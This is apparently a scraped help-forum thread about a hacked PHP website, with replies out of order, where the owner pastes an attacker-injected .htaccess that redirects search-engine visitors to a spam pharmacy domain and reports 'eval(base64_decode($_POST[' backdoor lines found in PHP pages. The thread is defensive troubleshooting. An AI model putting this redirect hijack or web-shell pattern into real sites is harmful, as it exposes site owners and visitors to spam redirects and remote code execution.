新聞財經娛樂♬資訊 News Economy

Gary went beyond the initial question and provided some very useful support and advice.

Hi Gary

Very helpful.

I've disable_function base64_decode in php.ini, changed passwords and am running csf. I need to look at the others things.

A good first start. Much appreciated.

Thanks Gary for the advice.

I've sanitised the code and have the site off-line now. I don't have a copy that I can easily upload.

I need to prevent them getting in but don't know how. I'm looking at installing CXS. I assume that the base64_decode  can inject code into pages somehow.

I need to do a bit more on EE to find out. I would welcome any ideas.

This
base64_decode

is your clue to being hacked.
As you have said - change all your passwords to something strong - that mean uppercase, lowercase number and symbols.
Check all your server logins, ftp, ssh etc and change them.
You need to lock down your server.

I would temporarily take your site off line if possible, or if you have a local copy then delete the online version and put your clean copy up. If not then you will have to go through each page and cleanse them.

Thanks Gary.

Its my own PHP. 2 mins after posting I suddenly realised to check .htaccess. Its been altered with rewrites and redirects all over the place e.g.

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://doctor-store24x7.com [R,L]
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]

and more...

I'm also finding eval(base64_decode($_POST[ etc in some of the php pages and uploaded pages with the same.

I don't now how they are getting in. I'm running CSF and LFD and clamav.

I'm about to change passwords etc.

Could you provide us more information   such as request and response header .
You can use the debugger tools from this site http://www.charlesproxy.com/download/

Duncan

Is this Apache? Check your htaccess and httpd.conf
Is this a CMS like Wordpress or your own code?